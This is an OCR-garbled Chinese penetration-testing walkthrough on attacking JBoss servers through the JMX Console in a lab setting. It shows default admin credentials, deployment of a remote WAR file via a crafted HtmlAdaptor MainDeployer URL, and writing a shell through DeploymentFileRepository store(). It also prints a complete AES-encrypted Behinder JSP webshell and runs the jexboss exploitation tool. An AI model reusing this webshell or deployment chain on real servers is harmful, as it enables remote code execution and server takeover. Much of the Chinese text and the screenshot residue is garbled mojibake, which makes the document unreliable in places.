ALLUSERSPROFILE=C:\ProgramData

RUN_CONF=C:\JBoss6jboss-6.1.0.Final\bin'run conf bat

ProgramW6432=C: Program Files

PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 10, Genuinelntel

SESSIONNAME=Console

PROGNAME=run bat

TMP=C:\Users\dayu| AppData Local Temp

CommonProgramFiles=C: Program Files\Common Files

LOGONSERVER=\WIN-S08SN3AEOEO
PROCESSOR_ARCHITECTURE=AMD64
FP_NO_HOST_CHECK=NO

0S=Windows NT

HOMEPATH=Users\dayu

PROMPT=SPSG
1BOSS_HOME=C:\JBoss6\jboss-6.1.0.Final
PROCESSOR LEVEL=6
CommonProgramW6432=C-\Program Files\Common Files
LOCALAPPDATA=C:\Users\dayu\AppData\Local
I1BOSS_ENDORSED_DIRS=C: \JBoss6jboss-6.1.0 Final liblendorsed
COMPUTERNAME=WIN-S08SN3AEOEQ
windir=C:\Windows
SystemRoot=C:\Windows
NUMBER_OF_PROCESSORS=1
USERNAME=dayu

PUBLIC=C: Users Public

I v

CommanProsramFiles(x86)=C-\Prasram Files (x86)Common Files =

[OKLEEATh, EA(E

ANSE. 748 v3.0 Beta 10 By rebeyond

EEEN
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188 F

RINEBHNE
1. C:\JBoss6\jboss-6.1.0.Final\server\default\conf\props

-Iol x|

‘@(Jﬂ - HEH, - MR ) - JBossb v jboss-B. 1 0 Final v server - default = conf = props > & [ BE o [_o]‘
AW > TR FERNfEE =~ 0l @
e
f— 4 - | fzzEt e [ Fo | If
o T || hornetq-roles. properties Z011/8/16 &:45 PEOFEETIES 3T{4 1 KB
F ﬁﬁ . . || hornetqusers. properties Z011/8/16 5:45 PROPERTIES 7{%F 1 KB
RSI a1l =i o ) )
|| jbossws—roles. properties Z011/8/16 5:45 PROPERTIES 7{%F 1 KB
= E || jbossws—users. properties Z011/8/16 5:45 PROPERTIES 7{%F 1 KB
B s imx—console—roles. properties 2011/8/16 &:45 PROPERTIES 1 KB
=l § emusers. cties 8 FROPERTIES 1 KB
=) 3o
& BF
18 HE,
€ [l
jmz-console—users. properties {EprEER: 2011/5/16 545 FIFEEHA: 202174726 22:07
PROPERTIES T ol B4 =

# L sample users.properties file for use with the TUsersRolesLoginModule

admin=gdmin

[ S

2.1HE% Administration ConsoleTTH

JbosshiZA&x>=6.0, Administration Console 1 [ #§1&
1. C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0 Z BIAYAR A

1. C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

{ERZA& JMX ConsoleskiE#iAal

JMX ConsoleZJbossERIZHIE, THOEHAESEHRKIE!
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Jboss 4. x X HZ BIHIARZA consoleE I E% 12 J3/jmx-console/Fl/web-console/!

jmx-console R e & S {9

1. /opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
2. #jbossHIZEXTEE1Z AP UL A —1E

Web-Console it B 4K

1. /opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/W
EB-INF/jboss-web.xml#jboss A28 37 EE1E T [E iy A~ — 1

2 B -S 25

jmx-consoleflweb-consolett i — MK S #1S, MKSHEBXXHE
1. /opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

e 1) FR

<« C o © £ 192.168.175.196

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB ]| MSFU

+ JBoss JIRA
« JBoss Forums

JBoss Management

= Jomeat status (full) (XML)

JBoss™ Appiicalion Server

B em=m e |

5 Admin Cor

= c o

Kali Training KaliTools = Kali Docs Kali Forums NetHunter || Offens Exploit-DB GHDB || MSFU

+ service=JBossBeanDeployer

jboss.beans

« name='jbossws.sar#jbossws.beans',service=.
jboss.cache I
« service=InvalidationManager
jboss.console
+ sar=console-mgr.sar
jboss.deployer

» service=BSHDeployer

ment

« flavor=URL,type=DeploymentScanner

jboss.ejb

. vice=EJBTimerService
« retryPolicy=fixedDelay,service=EJBTimerService

« service=EJBDeployer

« service=EJBTimerService

jboss.ejb3

» service=EJB3Deployer
» service=JarslgnoredForScanning

jboss.j2ee

« service=ClientDeployer
s service=EARDeployer

jboss.deploy A~ Highlight Al Match Case Match Diacritics

RERERE
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# MBean ns

Kali Forums

ZRAZBTHE X -TbossiB B A4

MBean Inspector - Mozilla Firefox

NetHunter ]| Offe curity Exploit-DB GHDB

type: DeploymentScanner
MBean Java Class: org.jboss.deployment.scanner.URLDeploymentScanner

Back to Agent View  Refresh MBean View

f| MSFU

MBean description:

Management Bean.

List of MBean attributes:

java.lang.String URLDeploymentScanner MBean Attribute.
URLList java.util. List RW [file:/C:/jboss-4.2.3.GAJserver/ MBean Attribute
Filter java.lang.String RW org.jboss.deployment.scanner. MBean Attribute.
StateString java.lang.String R Started MBean Attribute.
StopTimeOut  [long RW 60000 MBean Attribute.
RecursiveSearch boolean RW OTrue * False MBean Attribute.
State int R 3 MBean Attribute.
Filterinstance  |org.jboss.net.protocol. URLListerSURLFilter RW org.jboss.deployment.scanner. MBean Attribute.
URLComparator [java.lang.String RW org.jboss.deployment.Deploym MBean Attribute.
Deployer avax.management. ObjectName RW jboss.system:service=MainDep ' View MBean MBean Attribute.
ScanEnabled  |boolean RW OTrue * False MBean Attribute.
ScanPeriod long W MBean Attribute.

- ~ | Highlig

B T

Kali Training KaliTools = Kali Docs Kali Forums

wvoid scan()
MBean Operation.

Invoke

# MBean Ins|

wvoid suspendDeployment()

MBean Operation.

MBean Inspector - Mozilla Firefox

NetHunter ]| Offe curity Exploit-DB GHDB

Param| ParamType nValue Param| cription

pl java.net. URL (no description)

Invoke

pl java.net.URL (no description)

o
ramType ParamValue Param| cription

Invoke

MBean Operation.

pd

Param| ParamType ParamValue ramDescription

pl java.lang.String (no description)

- ~ | Highlig

ZiEwarg S22

f| MSFU

1. service apache? startpython -m SimpleHTTPServer 9999

HO AT —T ZIZ A AR
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< C @ © 4 192.168.175.161:9999

Directory listing for /

s 3002.war
o firefox-esr.desktop
* JavaDeserH2HC-master/

ParamType ParamDescription
pl java.netURL|  |/(no description)

Invoke

void addURL()

MBean Operation.

ParamType ParamDescription
pl java.net.URL (no description)

Invoke

void addURL()

MBean Operation.

ParamType ParamDescription
pl java.lang.String| ]|(no description)

Invoke

void start()
MBean Operation.

Invoke

void removeURL()

MBean Operation.

MBean Name: Domain Name: jboss.deployment
flavor: URL
type: DeploymentScanner

Back to Agent View | Refresh MBean View

MRean Java Class: org.jboss.deployment.scanner.URLDeploymentScanner

MBean description:

Management Bean.

List of MBean attributes:

M

Name | java.lang.String URLDeponmentScanner [MBean Attribute. |
URLList [java.util.List RW [file:/C:/jboss4.2.3.GA| MBean Attribute.
Filter java.lang.String RW lorg.jboss.deployment.s( MBean Attribute.
StateString java.lang.String R Started MBean Attribute.
StopTimeOut long RW 60000 MBean Attribute.
RecursiveSearch boolean RW ®@True OFalse MBean Attribute.
State int R 3 MBean Attribute.
FilterInstance |org.jboss.net.protocol.URLLister$URLFilter RW org.jboss.deployment.s( MBean Attribute.
URLComparator [java.lang.String RW org.jboss.deployment.D| MBean Attribute.
Deployer javax.management.ObjectName RW jboss.system:service=M| View MBean|MBean Attribute.
ScanEnabled boolean RW @®True OFalse MBean Attribute.
ScanPeriod long w | MBean Attribute.
(Bl=d! | MBean Attribute.

java.lang.String w
Apply Changes \

HRE AT

EEMEBEN XBEELTH—T Apply Changes #1THEBE

R JaTEjboss.web.dep

B AJMX Consolek#Z#ifa]
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®
@ @ oy RedHat

Manage this JBoss AS Instance

Console

VX Console
JBos5 Web Services Console
JBoss AS Online Resources

« JBoss AS Documentation

« JBoss Mailing_Lists

© # 192.168.175.194:3080 . n o e o % | =

JBoss Application Server

o
@ @ oy RedHat

Object Name Filter

Remove Object Name Filter
+ JMimplementation
‘om.cun. management

deployment

Jboss. o
« org.hornetq
tha.pc

ERE Mt

.. : m‘

[ J
@ @ oy RedHat

Object Name Filter
Remove Object Name Filter

© & 192.168.175.194:8080/jmx-console/ R 1 n@o & 0 % | =

JMX Agent View ObjectName Filter (e.g.: "jboss: ™", "* :service=invoker,™"):

stem Apply Filter || Clear Filter
Wed Apr 28 07:37:48 CST 2021

WIN-SO8SN3AEOEO (127.0.0.1) - default

erviceController
erver
erverConfig
erverinfo

JMX MBean View Back to Agent | | Refresh MBean View

WIN-S0BSN3AEOEO VWed Apr 28 07:38:19 CST 2021

[Domain [iboss.system
[service [MainDeployer
——— oo
[ vesarption T Management Bean.
[Name R |javalang.String MBean Aftrbute. MainDeployer
[TempDirstring R |javalang.string IMBean Attribute. [file:/C:/JB0s36/3b035-6.1.0. Final /server/default/tup/deploy/
1
[TempDir RW  |java.io.File MBean Attribute. [ i .1.0.Final\server |
J
[statestring R |javalang.string IMgean Attribute. scazced
|controller RW |org.jboss.kerel.spi.dependency.KemelController IMBean Attribute.
Istate R it IMBean Attribute. s
[KernelMainDeployer RW |org.jboss.deployers.client.spi.DeployerClient IMBean Attribute. jboss.deployers.pl
|copyFiles RW boolean MBean Attribute. @ 1rue Oralse
W |javaxmanagement.Objectiame. IMgean Attribute. ]
Apply Changes

[no parameters]
IMBean Operation. e

EEELRNBERE FATEKMZE methodindex 3 17/19 # deploy, BB ii2wart fyb b #7226

&
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<td class='arg'>(no description)</td>
<td class='arg' width='50'><input type='text' class:
</tr>

</table>

<input type='submit' value:
fe

writable' name='arg0'/></td>

'Invoke'/>

<td>MBean Operation.</td>
<td align='center'>
<form method='post' action='Htmladap
<input type='hidden' name='action' valud:
<input type='hidden' name='name' value='jboss,
<input type='hidden' name='methodIndex' valu
100%' cellspacing='1' cellpaddii

Aservice®3DMainDeployer'/>

rder='0"'>

<td class='arg'>pl</td>
<td class='arg'>java.lang.String</td>
<td class='arg'>(no description)</td>
<td class='arg' width='50'><input type='text' class=
</tr>
</table>
<input type='submit' value='Invoke'/>
</form>
</td>
</tr>
<tr>
<td class='param'>isDeployed</td>
<td>boolean</td>
<td>MBean Operation.</td>
<td align='center'>
<form method='post' action='Htmladaptor'>
<input type='hidden' name='action' value='invoksop'/>
<input type='hidden' name='name' value='jboss.systemi3Aservice$3DMainDeployer'/>
<input type='hidden' name='methodIndex' value
<table width='100%' cellspacing='1' cellpadding:
<tr>
<td class='arg'>pl</td>
<td class='arg'>java.net.URL</td>
<td class='arg'>(no description)</td>
<td class='arg' width='50'><input type='text' class
</tr>
</table>
<input type='submit' value='Invoke'/>
</form>

writable' name='arg0'/></td>

writable' name='argQ'/></td>

<td class='arg'>(no description)</td>
<td class='arg' width='50'><input type='text' class='writable' name='arg0'/></td>
</tr>
</table>
<input type='submit' valus
</form>
</td>
</tr>
<tr>
<td class='param
<td>void</td>
<td>MBean Operation.</td>
<td align='center'>
<form method='post'

'Invoke'/>

name='name' value:
name
cellspacin

jboss
‘methodIndex' value
1' cellpad

$3Aservice:3DMainDeployer' />

border='0">

<td class='arg'>pl</td>

<td class='arg'>java.net.URL</td>

<td class='arg'>(no description)</td>

<td class='arg' width='50'><input type='text' class='writable' name='arg0'/></td>

</tr>
</table>
<input type='submit' value='Invoke'/>
</ form>
</td>
</tr>
<tr>
<td class='paran'>jbossInternallifecycle</td>
<td>void</td>
<td>MBean Operation.</td>
<td align='center's

<form method='post' action='Htmladaptor'>

*invokeop'/>
jboss.system$3Aservice$3DMainDeployer'/>
<input type='hidden' name='methodIndex' value='20'/>
<table width='100%' cellspacing='1' cellpadding='1' border='0'>

<tr>

<td class='arg'>pl</td>

<td class='arg'>java.lang.String</td>

<td class='arg'>(no description)</td>

<td class='arg' width='50'><input type='text' class='writable' name='arg0'/></td>

</tr>
</table>
<input type='submit' value='Invoke'/>
</form>
</td>
=
POINA: b~
« c @ © f 192.168.175.194:8080/jmx-console/ w n @ ® t
1 .net.URL descr
° lundeploy void MBean Operation. P . (no description)
° Invoke
1 java.net.URL descriptic
[ ] redeploy void IMBean Operation. P s {elieehion)
@ @ by Red Hat Invoke
- o — p1 org.jboss.deployers.client.spi.Deployment (no description)
5 - : Tnvoke.
Object Name Filter
1 .net.URL desc
Remove Object Name Filter lgetWatchurl java.net.URL IMBean Operation. L. e (0o ""“‘": [
Invoke

* IMImplementation

* com.sun. management

[no parameters]

+ hornetq lshutdown void IMBean Operation. e
+ Javalang
. p1 java.net.URL (no description)
. lgetDeployment lorg.jboss.deployers. dient.spi.Deployment IMBean Operation. ;
. Invoke
| ~ p1 java.net.URL (no description)
lgetDeploymentunit lorg.jboss.deployers. structure.spi.DeploymentUnit MBean Operation. .
| Invoke
. [no parameters]
B |checkincompleteDeployments void MBean Operation. Tnvoke
B 1 org.jboss.def rs.client.spi.Deployment no description)
. lundeploy void [MBean Operation. P ployel PLDeploy ( pior)
| Invoke
P [no parameters]
8 |start void IMBean Operation. ok
| 1 a.net.URL no description)
. lorg.jboss.depl s Depl tContext IMBean Operation. L. R B prion)
. Invoke
. 1 /a.lang,Stri o description ]
| redeploy void IMBean Operation. B et ( pion)
| Invoke
| 1 /a.lang.Strir o description)
. [ |deploy void ] [MBean Operation. B e g, ( pion)
. Invoke
1 /a.net.URL no description)
lisDeployed lboolean [MBean Operation. L e ( pion)
Invoke
1 a.net.URL no description)
deploy void MBean Operation. P e (¢ pion)
Invoke
pL  javalangstring (no description)
it ifecycle void [MBean Operation. ok
woke
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1. http://192.168.175.194:8080/ jmx-console/ HtmlAdaptor?action=invokeOp&amp;name=jboss.s
ystem:service=MainDeployer&amp;methodindex=17&amp;arg0=http:// xxxx/ 1.war

RIBKISHTIRZERE PR

KRG E MBS

1. C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
i i) ST
EfIFstorefII B

1. http://192.168.175.196:8080/ jmx-console/ HtmlAdaptor?action=inspectMBean&amp;name=jb
oss.admin:service=DeploymentFileRepository

BId [storefI 0 M2 EAE R 1XE] EfEshell

<« c @ © & 192.168.175.196:8080/jmx-console/HtmIAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFile «ss & ¥ In @ ® =
pl java.ang.String|  ]|(no description)

p2 java.lang.String (no description)
p3 java.lang.String (no description)

Invoke

MBean Operation.

ParamType ParamDescription

pl javalang.String|  ]lno description)
p2 java.lang.Strin no description)
p3 java.lang.Strin no description)
p4 java.lang.Strini no description)
p5 boolean @®True OFalse no description)

Invoke

void start()
MBean Operation.

Invoke

void jbossInternalLifecycle()

MBean Operation.

ParamType ParamDescription
pl java.ang.String|  ]|(no description)

Invoke

XE _FEKIERjspARS
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1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLo
ader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.leng
th); }3%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putVa
lue("u",k);Cipher c=Cipher.getinstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"
));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decode
Buffer(request.getReader().readLine()))).newlnstance().equals(pageContext);}%>

1. | IR E IR R G32 (Umd5 (BAYRT16 17, EXIAEFZZ Srebeyond*/

<. MBean Inspector X

& ¢ @ © & 192.168.175.196:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name =jboss.admin:service=DeploymentFilel s« & ¥ n @ ® =
L U]

pl java.lang.String (no description)
p2 java.lang.String (no description)
p3 java.lang.String (no description)

Invoke

~

void store()

MBean Operation.

ParamType Paramvaiue [ParamDescription
pl java.lang.String no description)
p2 java.lang.String |shell no description)
p3 java.lang.String | isp no description)
p4 java.lang.Stfing ||sals(pageContext);}%>| |( no description)
p5 boolean ®True OFalse no description)
Invoke

void start()
MBean Operation.

Invoke

void jbossInternallLifecycle()

MBean Operation.

ParamType ParamDescription
pl java.lang.String|[ ]|(no description)

Invoke

- ‘. OPefation Results x

< c @ © & 192.168.175.196:8080/jmx-console/HtmlAdaptor

JBoss JMX MBean Operation Result store ()
A

Back to Agent View  Back to MBean View Reinvoke MBean Operation

Operation completed successfully without a return value.

EXBE—MER

AHNHZ 7 LRI R £ E
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B sanagement

o« WEH, ~ EHEEE C:) - jboss—4.2.3.GA v server = default v deploy = management v

JE— |

(AT

v l‘ajl % management

HO v~ L fTH BEFER v #E v HENHEE

(E

p— i - L e

o T B oo
W |

. console—mgr. sar 00s/ T8 14: X

= RifihiagE

wd B
B
= B
e
J 5

M E,

G 3k

alll fEMEHA: 2021/4/28 11:33
ik

EXABRT A
BEN{LEE

1. sudo pip install -r requires.txt

S sudo pip install -r requires.txt

Collecting urllib
Downloading urllil 6.4-py2.py3-none-any.whl (153 kB)
| | 153 kB 208 kB/s
Collecting ipaddres
Downloading ipadd $-1.0.23-py2.py3-none-any.whl (18 kB)

Installing collected packages: urllib3, ipaddress
Successfully installed ipaddress—l,o.zi urllib3-1.26.4
: $

WiTE <L FEjbossaZEf

1. python jexboss.py -host http://192.168.175.196:8080

HATHA BALT
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Do you want to try to run an automated exploitation via [we
If successful, this operation will provide a simple command
commands on the server..

yes/NO? I

B4

JbossZ— MR TJ2EERI A HURNES (https:/baike.baidu.com/item/FF BRI HS/114160) 89 K FA AR 55 28
(https://baike.baidu.com/item/R FA Bk % 28/4971773).

JBoss— NEEEBH AR MRS 2R, XHFEIB 1.1. EJB 2.0fMEJIB3HIFE .
{BJBossiZ LR E N B IE S Fservlet/JSSPRIWEBR 88, — % 5 Tomcatzk Jetty 4 E {5 FH

BRI AREHE!
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